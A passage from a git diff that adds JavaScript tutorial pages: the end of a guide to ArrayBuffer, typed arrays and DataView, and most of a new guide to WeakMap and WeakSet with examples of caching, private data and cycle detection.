DataView(new ArrayBuffer(8)) + +// Setters (offset, value, littleEndian?) +dv.setInt8(0, -1) +dv.setUint8(1, 255) +dv.setInt16(2, -1000, true) // true = little-endian +dv.setUint16(4, 65000, true) +dv.setFloat32(0, 3.14, true) +dv.setFloat64(0, 3.14159265, true) + +// Getters (offset, littleEndian?) +dv.getInt8(0) +dv.getUint8(1) +dv.getInt16(2, true) +dv.getUint16(4, true) +dv.getFloat32(0, true) +dv.getFloat64(0, true) +``` + +--- + +## Working with Binary Data: Real Examples + +### Reading a Binary File Header + +Many file formats start with a header containing metadata. Here's how to parse a simple binary header: + +```javascript +async function parseBinaryHeader(file) { + // Read the file as an ArrayBuffer + const buffer = await file.arrayBuffer() + const view = new DataView(buffer) + + // Parse a hypothetical header: + // Bytes 0-3: Magic number (4 bytes) + // Bytes 4-7: Version (32-bit uint) + // Bytes 8-15: File size (64-bit uint) + // Bytes 16-19: Flags (32-bit uint) + + const header = { + magic: String.fromCharCode( + view.getUint8(0), + view.getUint8(1), + view.getUint8(2), + view.getUint8(3) + ), + version: view.getUint32(4, true), // little-endian + fileSize: view.getBigUint64(8, true), + flags: view.getUint32(16, true) + } + + return header +} +``` + +### Manipulating Image Pixels + +The Canvas API returns image data as a `Uint8ClampedArray`, where each pixel is 4 consecutive bytes (RGBA): + +```javascript +const canvas = document.querySelector('canvas') +const ctx = canvas.getContext('2d') + +// Get pixel data +const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height) +const pixels = imageData.data // Uint8ClampedArray + +// Invert colors +for (let i = 0; i < pixels.length; i += 4) { + pixels[i] = 255 - pixels[i] // Red + pixels[i + 1] = 255 - pixels[i + 1] // Green + pixels[i + 2] = 255 - pixels[i + 2] // Blue + // pixels[i + 3] is Alpha (transparency) - leave unchanged +} + +// Put the modified data back +ctx.putImageData(imageData, 0, 0) +``` + +<Tip> +**Why Uint8ClampedArray?** Unlike regular Uint8Array, values outside 0-255 are "clamped" rather than wrapped. Setting a value to 300 becomes 255, and -50 becomes 0. This prevents visual artifacts when doing color math. +</Tip> + +### Creating Binary Data to Send + +When sending binary data over the network (like through the [Fetch API](/concepts/http-fetch) or WebSockets), you often need to build a specific format: + +```javascript +function createBinaryMessage(messageType, payload) { + // Message format: + // Byte 0: Message type (1 byte) + // Bytes 1-4: Payload length (32-bit uint, big-endian) + // Bytes 5+: Payload data + + const payloadBytes = new TextEncoder().encode(payload) + const buffer = new ArrayBuffer(5 + payloadBytes.length) + const view = new DataView(buffer) + + // Write header + view.setUint8(0, messageType) + view.setUint32(1, payloadBytes.length, false) // big-endian + + // Write payload + const uint8View = new Uint8Array(buffer, 5) + uint8View.set(payloadBytes) + + return buffer +} + +// Usage +const message = createBinaryMessage(1, "Hello, binary world!") +// Can send via WebSocket: ws.send(message) +``` + +### Converting Between Text and Binary + +The [TextEncoder](https://developer.mozilla.org/en-US/docs/Web/API/TextEncoder) and [TextDecoder](https://developer.mozilla.org/en-US/docs/Web/API/TextDecoder) APIs convert between strings and typed arrays: + +```javascript +// String to bytes (UTF-8) +const encoder = new TextEncoder() +const bytes = encoder.encode("Hello 世界") +console.log(bytes) // Uint8Array [72, 101, 108, 108, 111, 32, 228, 184, 150, 231, 149, 140] + +// Bytes to string +const decoder = new TextDecoder('utf-8') +const text = decoder.decode(bytes) +console.log(text) // "Hello 世界" + +// Can also decode a buffer directly +const buffer = new ArrayBuffer(5) +new Uint8Array(buffer).set([72, 101, 108, 108, 111]) +console.log(decoder.decode(buffer)) // "Hello" +``` + +--- + +## Common Methods and Properties + +Typed arrays share most array methods but have some unique ones: + +### Properties + +```javascript +const arr = new Int32Array([1, 2, 3, 4]) + +arr.length // 4 - number of elements +arr.byteLength // 16 - total bytes (4 elements × 4 bytes) +arr.byteOffset // 0 - offset into the buffer +arr.buffer // The underlying ArrayBuffer +arr.BYTES_PER_ELEMENT // 4 - bytes per element (static property) + +Int32Array.BYTES_PER_ELEMENT // 4 - also accessible on the constructor +``` + +### Unique Methods + +```javascript +const target = new Uint8Array(10) +const source = new Uint8Array([1, 2, 3]) + +// set() - copy values from another array +target.set(source) // Copy to start +target.set(source, 5) // Copy starting at index 5 +console.log([...target]) // [1, 2, 3, 0, 0, 1, 2, 3, 0, 0] + +// subarray() - create a view into a portion (shares the buffer!) +const view = target.subarray(2, 6) +console.log([...view]) // [3, 0, 0, 1] + +view[0] = 99 +console.log(target[2]) // 99 - original changed too! +``` + +<Warning> +**subarray() vs slice():** `subarray()` creates a new view on the same buffer (changes affect the original). `slice()` copies the data to a new buffer (changes are independent). +</Warning> + +--- + +## The #1 Typed Array Mistake + +The most common mistake is forgetting that `subarray()` shares the underlying buffer: + +```javascript +// ❌ WRONG - Modifying what you thought was a copy +const original = new Uint8Array([1, 2, 3, 4, 5]) +const section = original.subarray(1, 4) + +section[0] = 99 +console.log(original[1]) // 99 - Oops! Original changed + +// ✓ CORRECT - Use slice() for an independent copy +const original2 = new Uint8Array([1, 2, 3, 4, 5]) +const copy = original2.slice(1, 4) + +copy[0] = 99 +console.log(original2[1]) // 2 - Original unchanged +``` + +Another common mistake is overflow behavior: + +```javascript +// Values wrap around in typed arrays (except Uint8ClampedArray) +const bytes = new Uint8Array([250]) +bytes[0] += 10 +console.log(bytes[0]) // 4, not 260! (260 - 256 = 4) + +// Use Uint8ClampedArray for clamping behavior +const clamped = new Uint8ClampedArray([250]) +clamped[0] += 10 +console.log(clamped[0]) // 255, clamped to max value +``` + +--- + +## Web APIs Using Typed Arrays + +Many modern Web APIs work with typed arrays: + +| API | Typed Array Used | Purpose | +|-----|------------------|---------| +| [Canvas 2D](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData) | Uint8ClampedArray | Pixel manipulation | +| [WebGL](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API) | Float32Array, Uint16Array | Vertex data, indices | +| [Web Audio](https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API) | Float32Array | Audio samples | +| [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Response/arrayBuffer) | ArrayBuffer | Binary response data | +| [WebSockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) | ArrayBuffer | Binary messages | +| [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader/readAsArrayBuffer) | ArrayBuffer | File contents | +| [Crypto API](https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues) | Uint8Array, etc. | Random values, hashes | +| [WebRTC](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API) | ArrayBuffer | Media streaming | + +ArrayBuffers are also essential when using [Web Workers](/concepts/web-workers) — you can transfer ownership of buffers between threads using `postMessage()` with the `transfer` option, avoiding expensive copies. + +--- + +## Converting to Regular Arrays + +Sometimes you need to convert between typed arrays and regular arrays: + +```javascript +const typed = new Uint8Array([1, 2, 3, 4, 5]) + +// Using Array.from() +const array1 = Array.from(typed) +console.log(array1) // [1, 2, 3, 4, 5] + +// Using spread operator +const array2 = [...typed] +console.log(array2) // [1, 2, 3, 4, 5] + +// Convert back to typed array +const backToTyped = new Uint8Array(array2) +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **ArrayBuffer is raw memory** — A fixed-length container of bytes. You can't read/write directly; you need a view. + +2. **Typed Arrays are views** — They interpret buffer bytes as specific numeric types (Uint8, Int32, Float64, etc.). + +3. **One buffer, many views** — The same bytes can be read as different types. A 16-byte buffer could be 16 bytes, 4 integers, or 2 doubles. + +4. **Fixed length** — Unlike regular arrays, typed arrays can't grow or shrink. No push(), pop(), or splice(). + +5. **subarray() shares the buffer** — Changes to a subarray affect the original. Use slice() for an independent copy. + +6. **DataView for mixed types** — When parsing binary formats with different types at specific offsets, use DataView. + +7. **Mind the endianness** — Most systems are little-endian. When parsing binary protocols, explicitly specify byte order with DataView. + +8. **Uint8ClampedArray for images** — It clamps values to 0-255 instead of wrapping, preventing visual artifacts. + +9. **TextEncoder/TextDecoder for strings** — Convert between strings and byte arrays using these APIs. + +10. **Many Web APIs use them** — Canvas, WebGL, Web Audio, Fetch, WebSockets, and Crypto all work with binary data. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the difference between ArrayBuffer and Uint8Array?"> + **Answer:** + + An `ArrayBuffer` is raw memory storage. It holds bytes but provides no way to access them directly. You can only check its `byteLength`. + + A `Uint8Array` is a **view** that interprets an ArrayBuffer's bytes as unsigned 8-bit integers (0-255). It provides array-like access to the data. + + ```javascript + const buffer = new ArrayBuffer(4) + console.log(buffer[0]) // undefined - can't access! + + const view = new Uint8Array(buffer) + console.log(view[0]) // 0 - now we can access + view[0] = 42 + console.log(view[0]) // 42 + ``` + </Accordion> + + <Accordion title="Question 2: How do you create a typed array that shares memory with another?"> + **Answer:** + + Create a new typed array view on the same buffer: + + ```javascript + const uint8 = new Uint8Array([0x12, 0x34, 0x56, 0x78]) + + // Create a different view on the same buffer + const uint32 = new Uint32Array(uint8.buffer) + + // Or use subarray() for a portion of the same type + const portion = uint8.subarray(1, 3) + + // Both share memory - changes affect each other + uint32[0] = 0 + console.log(uint8[0]) // 0 - changed! + ``` + </Accordion> + + <Accordion title="Question 3: What happens when you assign 300 to a Uint8Array element?"> + **Answer:** + + It wraps around because 300 exceeds the 0-255 range. The value becomes `300 % 256 = 44`. + + ```javascript + const arr = new Uint8Array(1) + arr[0] = 300 + console.log(arr[0]) // 44 + + // For clamping behavior, use Uint8ClampedArray + const clamped = new Uint8ClampedArray(1) + clamped[0] = 300 + console.log(clamped[0]) // 255 (clamped to max) + ``` + </Accordion> + + <Accordion title="Question 4: When should you use DataView instead of a typed array?"> + **Answer:** + + Use DataView when: + - Your data contains **mixed types** (e.g., a header with uint32, uint16, and float32 fields) + - You need to control **endianness** explicitly + - You're reading/writing at **arbitrary byte offsets** + + ```javascript + // Parsing a binary protocol with mixed types + const buffer = await response.arrayBuffer() + const view = new DataView(buffer) + + const header = { + version: view.getUint8(0), // 1 byte + flags: view.getUint16(1, true), // 2 bytes, little-endian + timestamp: view.getFloat64(3, true) // 8 bytes, little-endian + } + ``` + </Accordion> + + <Accordion title="Question 5: What's the difference between slice() and subarray()?"> + **Answer:** + + - `slice()` creates a **new buffer** with copied data. Changes don't affect the original. + - `subarray()` creates a **new view** on the same buffer. Changes affect the original. + + ```javascript + const original = new Uint8Array([1, 2, 3, 4]) + + const sliced = original.slice(1, 3) + sliced[0] = 99 + console.log(original[1]) // 2 - unchanged + + const sub = original.subarray(1, 3) + sub[0] = 99 + console.log(original[1]) // 99 - changed! + ``` + </Accordion> + + <Accordion title="Question 6: How do you convert a string to bytes and back?"> + **Answer:** + + Use `TextEncoder` and `TextDecoder`: + + ```javascript + // String to bytes (UTF-8) + const encoder = new TextEncoder() + const bytes = encoder.encode("Hello!") + console.log(bytes) // Uint8Array [72, 101, 108, 108, 111, 33] + + // Bytes to string + const decoder = new TextDecoder('utf-8') + const text = decoder.decode(bytes) + console.log(text) // "Hello!" + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Blob & File API" icon="file" href="/beyond/concepts/blob-file-api"> + Work with binary data as files and blobs + </Card> + <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> + Transfer ArrayBuffers between threads + </Card> + <Card title="Memory Management" icon="memory" href="/beyond/concepts/memory-management"> + How JavaScript manages memory allocation + </Card> + <Card title="Fetch API" icon="cloud-arrow-down" href="/concepts/http-fetch"> + Fetch binary data from APIs + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="JavaScript Typed Arrays — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Typed_arrays"> + The complete MDN guide to typed arrays, covering buffers, views, and all typed array types with detailed examples. + </Card> + <Card title="ArrayBuffer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer"> + Official reference for ArrayBuffer including constructor, properties, and methods like slice() and transfer(). + </Card> + <Card title="DataView — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView"> + DataView reference with all getter/setter methods for reading and writing different numeric types. + </Card> + <Card title="TypedArray — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray"> + Reference for the TypedArray prototype methods shared by all typed array types. + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="ArrayBuffer, binary arrays — JavaScript.info" icon="newspaper" href="https://javascript.info/arraybuffer-binary-arrays"> + Excellent tutorial with clear visualizations of how buffers and views work together. Includes interactive examples and exercises to test your understanding. + </Card> + <Card title="Mastering JavaScript ArrayBuffer — DEV.to" icon="newspaper" href="https://dev.to/dharamgfx/mastering-javascript-arraybuffer-a-comprehensive-guide-1d5h"> + Comprehensive guide covering ArrayBuffer creation, typed array operations, and practical use cases. Good for developers wanting a complete overview. + </Card> + <Card title="Binary Data in JavaScript — Medium" icon="newspaper" href="https://medium.com/@masterakbaridev/understanding-binary-data-in-javascript-exploring-arraybuffer-and-typed-arrays-42062362a473"> + Clear explanations of when and why to use typed arrays, with focus on real-world applications like WebSockets and file handling. + </Card> + <Card title="Typed Arrays in JavaScript — HackerNoon" icon="newspaper" href="https://hackernoon.com/javascript-typed-arrays-beginners-guide-ld1x3136"> + Beginner-friendly introduction covering the basics of typed arrays with simple examples. Great starting point for newcomers to binary data. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Typed Arrays & Array Buffers — Web Fusion" icon="video" href="https://www.youtube.com/watch?v=rL4AyCAl5_Y"> + Step-by-step tutorial walking through ArrayBuffer and typed array fundamentals with live coding examples. + </Card> + <Card title="JavaScript Binary Data — Fireship" icon="video" href="https://www.youtube.com/watch?v=x2_bcCZg8vU"> + Fast-paced overview of binary data handling in JavaScript, covering typed arrays, DataView, and common use cases in under 10 minutes. + </Card> + <Card title="Understanding ArrayBuffer — JSConf" icon="video" href="https://www.youtube.com/watch?v=UYkJaW3pl4A"> + Conference talk exploring the internals of ArrayBuffer and how it enables high-performance binary operations in JavaScript. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/weakmap-weakset.mdx b/docs/beyond/concepts/weakmap-weakset.mdx new file mode 100644 index 00000000..3f157b52 --- /dev/null +++ b/docs/beyond/concepts/weakmap-weakset.mdx @@ -0,0 +1,985 @@ +--- +title: "WeakMap & WeakSet: Weak References in JavaScript" +sidebarTitle: "WeakMap & WeakSet" +description: "Learn JavaScript WeakMap and WeakSet. Understand weak references, automatic garbage collection, private data patterns, and when to use them over Map and Set." +--- + +Why does storing objects in a Map sometimes cause memory leaks? How can you attach metadata to objects without preventing them from being garbage collected? What's the difference between "strong" and "weak" references? + +```javascript +// The memory leak problem with Map +const cache = new Map() + +function processUser(user) { + // User object stays in memory forever, even after it's no longer needed! + cache.set(user, { processed: true, timestamp: Date.now() }) +} + +// With WeakMap, the cached data is automatically cleaned up +const smartCache = new WeakMap() + +function smartProcessUser(user) { + // When 'user' is garbage collected, this entry disappears too! + smartCache.set(user, { processed: true, timestamp: Date.now() }) +} +``` + +The answer lies in **[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)** and **[WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)**. These are special collections that hold "weak" references to objects, allowing JavaScript's garbage collector to clean them up when they're no longer needed elsewhere. + +<Info> +**What you'll learn in this guide:** +- What "weak" references mean and how they differ from strong references +- WeakMap API and its four methods +- WeakSet API and its three methods +- Private data patterns using WeakMap +- Object metadata and caching without memory leaks +- Tracking objects without preventing garbage collection +- Limitations: why you can't iterate or get the size +- Symbol keys in WeakMap (ES2023+) +</Info> + +<Warning> +**Prerequisite:** This guide assumes you understand [Data Structures](/concepts/data-structures) including Map and Set. If you're not familiar with those, read that guide first. +</Warning> + +--- + +## What is a Weak Reference? + +A **weak reference** is a reference to an object that doesn't prevent the object from being garbage collected. When no strong references to an object remain, the JavaScript engine can reclaim its memory, even if weak references still point to it. WeakMap and WeakSet use weak references for their keys and values respectively, enabling automatic memory cleanup. + +To understand this, you need to know how JavaScript handles memory. When you create an object and store it in a variable, that variable holds a **strong reference**: + +```javascript +let user = { name: 'Alice' } // Strong reference to the object + +// The object stays in memory as long as 'user' points to it +``` + +When you remove all strong references, the garbage collector can clean up: + +```javascript +let user = { name: 'Alice' } +user = null // No more strong references — object can be garbage collected +``` + +The problem with regular Map and Set is they create **strong references** to their keys and values: + +```javascript +const map = new Map() +let user = { name: 'Alice' } + +map.set(user, 'some data') + +user = null // You might think the object will be cleaned up... +// But NO! The Map still holds a strong reference to the key object +// It stays in memory forever until you manually delete it from the Map +``` + +--- + +## The Rope Bridge Analogy + +Think of object references like ropes holding up a platform over a canyon: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ STRONG vs WEAK REFERENCES │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ STRONG REFERENCE (Map/Set) WEAK REFERENCE (WeakMap/WeakSet) │ +│ ────────────────────────── ───────────────────────────────── │ +│ │ +│ ═══════╦═══════ ═══════╦═══════ │ +│ ║ steel ║ thread │ +│ ║ cable ║ │ +│ ┌──────╨──────┐ ┌──────╨──────┐ │ +│ │ OBJECT │ │ OBJECT │ │ +│ │ { user } │ │ { user } │ │ +│ └─────────────┘ └─────────────┘ │ +│ │ +│ The steel cable PREVENTS The thread ALLOWS the │ +│ the object from falling object to fall (be garbage │ +│ (being garbage collected) collected) when no steel │ +│ even if nothing else holds it. cables remain. │ +│ │ +│ Map keeps objects alive! WeakMap lets objects go! │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +- **Strong references** (regular variables, Map keys, Set values) = steel cables that keep objects from falling +- **Weak references** (WeakMap keys, WeakSet values) = threads that let objects fall when no steel cables remain + +--- + +## WeakMap: The Basics + +A [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) is like a Map, but with three key differences: + +1. **Keys must be objects** (or non-registered [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) in ES2023+) +2. **Keys are held weakly** — they don't prevent garbage collection +3. **No iteration** — you can't loop through a WeakMap or get its size + +### WeakMap API + +WeakMap has just four methods: + +| Method | Description | Returns | +|--------|-------------|---------| +| `set(key, value)` | Add or update an entry | The WeakMap (for chaining) | +| `get(key)` | Get the value for a key | The value, or `undefined` | +| `has(key)` | Check if a key exists | `true` or `false` | +| `delete(key)` | Remove an entry | `true` if removed, `false` if not found | + +```javascript +const weakMap = new WeakMap() + +const obj1 = { id: 1 } +const obj2 = { id: 2 } + +// Set entries +weakMap.set(obj1, 'first') +weakMap.set(obj2, 'second') + +// Get values +console.log(weakMap.get(obj1)) // "first" +console.log(weakMap.get(obj2)) // "second" + +// Check existence +console.log(weakMap.has(obj1)) // true +console.log(weakMap.has({ id: 3 })) // false (different object reference) + +// Delete entries +weakMap.delete(obj1) +console.log(weakMap.has(obj1)) // false +``` + +### Keys Must Be Objects + +WeakMap keys **must** be objects. Primitives like strings or numbers will throw a [TypeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError): + +```javascript +const weakMap = new WeakMap() + +// ✓ These work - objects as keys +weakMap.set({}, 'empty object') +weakMap.set([], 'array') +weakMap.set(function() {}, 'function') +weakMap.set(new Date(), 'date') + +// ❌ These throw TypeError - primitives as keys +weakMap.set('string', 'value') // TypeError! +weakMap.set(123, 'value') // TypeError! +weakMap.set(true, 'value') // TypeError! +weakMap.set(null, 'value') // TypeError! +weakMap.set(undefined, 'value') // TypeError! +``` + +<Note> +**Why only objects?** Primitives don't have a stable identity. The number `42` is always the same `42` everywhere in your program. Objects, however, are unique by reference. Two `{}` are different objects, even if they look identical. This identity is what makes weak references meaningful. +</Note> + +### Values Can Be Anything + +While keys must be objects, values can be any type: + +```javascript +const weakMap = new WeakMap() +const key = { id: 1 } + +weakMap.set(key, 'string value') +weakMap.set(key, 42) +weakMap.set(key, null) +weakMap.set(key, undefined) +weakMap.set(key, { nested: 'object' }) +weakMap.set(key, [1, 2, 3]) +``` + +--- + +## WeakMap Use Cases + +### 1. Private Data Pattern + +One of the most powerful uses of WeakMap is storing truly private data for class instances: + +```javascript +// Private data storage +const privateData = new WeakMap() + +class User { + constructor(name, password) { + this.name = name // Public property + + // Store private data with 'this' as the key + privateData.set(this, { + password, + loginAttempts: 0 + }) + } + + checkPassword(input) { + const data = privateData.get(this) + + if (data.password === input) { + data.loginAttempts = 0 + return true + } + + data.loginAttempts++ + return false + } + + getLoginAttempts() { + return privateData.get(this).loginAttempts + } +} + +const user = new User('Alice', 'secret123') + +// Public data is accessible +console.log(user.name) // "Alice" + +// Private data is NOT accessible +console.log(user.password) // undefined + +// But methods can use it +console.log(user.checkPassword('wrong')) // false +console.log(user.checkPassword('secret123')) // true +console.log(user.getLoginAttempts()) // 0 + +// When 'user' is garbage collected, private data is too! +``` + +<Tip> +**Modern Alternative:** ES2022 introduced [private class fields](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields) with the `#` syntax. For new code, prefer `#password` over WeakMap for simpler private data. However, WeakMap is still useful when you need to attach private data to objects you don't control. +</Tip> + +### 2. DOM Element Metadata + +Store metadata for DOM elements without modifying them or causing memory leaks: + +```javascript +const elementData = new WeakMap() + +function trackElement(element) { + elementData.set(element, { + clickCount: 0, + lastClicked: null, + customId: Math.random().toString(36).substr(2, 9) + }) +} + +function handleClick(element) { + const data = elementData.get(element) + if (data) { + data.clickCount++ + data.lastClicked = new Date() + } +} + +// Usage +const button = document.querySelector('#myButton') +trackElement(button) + +button.addEventListener('click', () => { + handleClick(button) + console.log(elementData.get(button)) + // { clickCount: 1, lastClicked: Date, customId: 'abc123def' } +}) + +// When the button is removed from the DOM and no references remain, +// both the element AND its metadata are garbage collected! +``` + +### 3. Object Caching + +Cache computed results for objects without memory leaks: + +```javascript +const cache = new WeakMap() + +function expensiveOperation(obj) { + // Check cache first + if (cache.has(obj)) { + console.log('Cache hit!') + return cache.get(obj) + } + + // Simulate expensive computation + console.log('Computing...') + const result = Object.keys(obj) + .map(key => `${key}: ${obj[key]}`) + .join(', ') + + // Cache the result + cache.set(obj, result) + return result +} + +const user = { name: 'Alice', age: 30 } + +console.log(expensiveOperation(user)) // "Computing..." then "name: Alice, age: 30" +console.log(expensiveOperation(user)) // "Cache hit!" then "name: Alice, age: 30" + +// When 'user' goes out of scope, the cached result is cleaned up automatically +``` + +### 4. Object-Level Memoization + +Memoize functions based on object arguments: + +```javascript +function memoizeForObjects(fn) { + const cache = new WeakMap() + + return function(obj) { + if (cache.has(obj)) { + return cache.get(obj) + } + + const result = fn(obj) + cache.set(obj, result) + return result + } +} + +// Usage +const getFullName = memoizeForObjects(user => { + console.log('Computing full name...') + return `${user.firstName} ${user.lastName}` +}) + +const person = { firstName: 'John', lastName: 'Doe' } + +console.log(getFullName(person)) // "Computing full name..." -> "John Doe" +console.log(getFullName(person)) // "John Doe" (cached) +``` + +--- + +## WeakSet: The Basics + +A [WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) is like a Set, but: + +1. **Values must be objects** (or non-registered Symbols in ES2023+) +2. **Values are held weakly** — they don't prevent garbage collection +3. **No iteration** — you can't loop through a WeakSet or get its size + +### WeakSet API + +WeakSet has just three methods: + +| Method | Description | Returns | +|--------|-------------|---------| +| `add(value)` | Add an object to the set | The WeakSet (for chaining) | +| `has(value)` | Check if an object is in the set | `true` or `false` | +| `delete(value)` | Remove an object from the set | `true` if removed, `false` if not found | + +```javascript +const weakSet = new WeakSet() + +const obj1 = { id: 1 } +const obj2 = { id: 2 } + +// Add objects +weakSet.add(obj1) +weakSet.add(obj2) + +// Check membership +console.log(weakSet.has(obj1)) // true +console.log(weakSet.has({ id: 1 })) // false (different object) + +// Remove objects +weakSet.delete(obj1) +console.log(weakSet.has(obj1)) // false +``` + +--- + +## WeakSet Use Cases + +### 1. Tracking Processed Objects + +Prevent processing the same object twice without memory leaks: + +```javascript +const processed = new WeakSet() + +function processOnce(obj) { + if (processed.has(obj)) { + console.log('Already processed, skipping...') + return null + } + + processed.add(obj) + console.log('Processing:', obj) + + // Do expensive operation + return { ...obj, processed: true } +} + +const user = { name: 'Alice' } + +processOnce(user) // "Processing: { name: 'Alice' }" +processOnce(user) // "Already processed, skipping..." +processOnce(user) // "Already processed, skipping..." + +// When 'user' is garbage collected, it's automatically removed from 'processed' +``` + +### 2. Circular Reference Detection + +Detect circular references when cloning or serializing objects: + +```javascript +function deepClone(obj, seen = new WeakSet()) { + // Handle primitives + if (obj === null || typeof obj !== 'object') { + return obj + } + + // Detect circular references + if (seen.has(obj)) { + throw new Error('Circular reference detected!') + } + + seen.add(obj) + + // Clone arrays + if (Array.isArray(obj)) { + return obj.map(item => deepClone(item, seen)) + } + + // Clone objects + const clone = {} + for (const key in obj) { + if (obj.hasOwnProperty(key)) { + clone[key] = deepClone(obj[key], seen) + } + } + + return clone +} + +// Test with circular reference +const obj = { name: 'Alice' } +obj.self = obj // Circular reference! + +try { + deepClone(obj) +} catch (e) { + console.log(e.message) // "Circular reference detected!" +} + +// Normal objects work fine +const normal = { a: 1, b: { c: 2 } } +console.log(deepClone(normal)) // { a: 1, b: { c: 2 } } +``` + +### 3. Marking "Visited" Objects + +Track visited nodes in graph traversal: + +```javascript +function traverseGraph(node, visitor, visited = new WeakSet()) { + if (!node || visited.has(node)) { + return + } + + visited.add(node) + visitor(node) + + // Visit connected nodes + if (node.children) { + for (const child of node.children) { + traverseGraph(child, visitor, visited) + } + } +} + +// Graph with potential cycles +const nodeA = { value: 'A', children: [] } +const nodeB = { value: 'B', children: [] } +const nodeC = { value: 'C', children: [] } + +nodeA.children = [nodeB, nodeC] +nodeB.children = [nodeC, nodeA] // Cycle back to A! +nodeC.children = [nodeA] // Cycle back to A! + +// Traverse without infinite loop +traverseGraph(nodeA, node => console.log(node.value)) +// Output: "A", "B", "C" (each visited only once) +``` + +### 4. Brand Checking + +Verify that an object was created by a specific constructor: + +```javascript +const validUsers = new WeakSet() + +class User { + constructor(name) { + this.name = name + validUsers.add(this) // Mark as valid + } + + static isValid(obj) { + return validUsers.has(obj) + } +} + +const realUser = new User('Alice') +const fakeUser = { name: 'Bob' } // Looks like a User but isn't + +console.log(User.isValid(realUser)) // true +console.log(User.isValid(fakeUser)) // false +``` + +--- + +## Map vs WeakMap Comparison + +| Feature | Map | WeakMap | +|---------|-----|---------| +| Key types | Any value | Objects only (+ non-registered Symbols) | +| Reference type | Strong | Weak | +| Prevents GC | Yes | No | +| `size` property | Yes | No | +| Iterable | Yes (`for...of`, `.keys()`, `.values()`, `.entries()`) | No | +| `clear()` method | Yes | No | +| Use case | General key-value storage | Object metadata, private data | + +### When to Use Each + +<Tabs> + <Tab title="Use Map When..."> + ```javascript + // You need to iterate over entries + const scores = new Map() + scores.set('Alice', 95) + scores.set('Bob', 87) + + for (const [name, score] of scores) { + console.log(`${name}: ${score}`) + } + + // You need primitives as keys + const config = new Map() + config.set('apiUrl', 'https://api.example.com') + config.set('timeout', 5000) + + // You need to know the size + console.log(scores.size) // 2 + ``` + </Tab> + <Tab title="Use WeakMap When..."> + ```javascript + // Storing metadata for objects you don't control + const domData = new WeakMap() + const element = document.querySelector('#myElement') + domData.set(element, { clicks: 0 }) + + // Private data for class instances + const privateFields = new WeakMap() + class MyClass { + constructor() { + privateFields.set(this, { secret: 'data' }) + } + } + + // Caching computed results for objects + const cache = new WeakMap() + function compute(obj) { + if (!cache.has(obj)) { + cache.set(obj, expensiveOperation(obj)) + } + return cache.get(obj) + } + ``` + </Tab> +</Tabs> + +--- + +## Set vs WeakSet Comparison + +| Feature | Set | WeakSet | +|---------|-----|---------| +| Value types | Any value | Objects only (+ non-registered Symbols) | +| Reference type | Strong | Weak | +| Prevents GC | Yes | No | +| `size` property | Yes | No | +| Iterable | Yes | No | +| `clear()` method | Yes | No | +| Use case | Unique value collections | Tracking object state | + +--- + +## Why No Iteration? + +You can't iterate over WeakMap or WeakSet, and there's no `size` property. This isn't a limitation — it's by design. + +```javascript +const weakMap = new WeakMap() +const weakSet = new WeakSet() + +// None of these exist: +// weakMap.size +// weakMap.keys() +// weakMap.values() +// weakMap.entries() +// weakMap.forEach() +// for (const [k, v] of weakMap) { } + +// weakSet.size +// weakSet.keys() +// weakSet.values() +// weakSet.forEach() +// for (const v of weakSet) { } +``` + +**Why?** Because garbage collection is non-deterministic. The JavaScript engine decides when to clean up objects, and it varies based on memory pressure, timing, and implementation. If you could iterate over a WeakMap, the results would depend on when garbage collection happened — that's unpredictable behavior you can't rely on. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ WHY NO ITERATION? │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ WeakMap / WeakSet contents depend on garbage collection timing: │ +│ │ +│ Time 0: weakMap = { obj1 → 'a', obj2 → 'b', obj3 → 'c' } │ +│ │ +│ Time 1: obj2 loses all strong references │ +│ │ +│ Time 2: GC might run... or might not │ +│ weakMap = { obj1 → 'a', obj2 → 'b'(?), obj3 → 'c' } │ +│ ↑ ↑ │ +│ Still there! Maybe there, maybe not! │ +│ │ +│ If iteration were allowed, the same code could produce │ +│ different results depending on when GC runs. That's bad! │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +<Note> +**The tradeoff:** WeakMap and WeakSet sacrifice enumeration for automatic memory management. If you need to list all keys/values, use regular Map/Set and manage cleanup yourself. +</Note> + +--- + +## 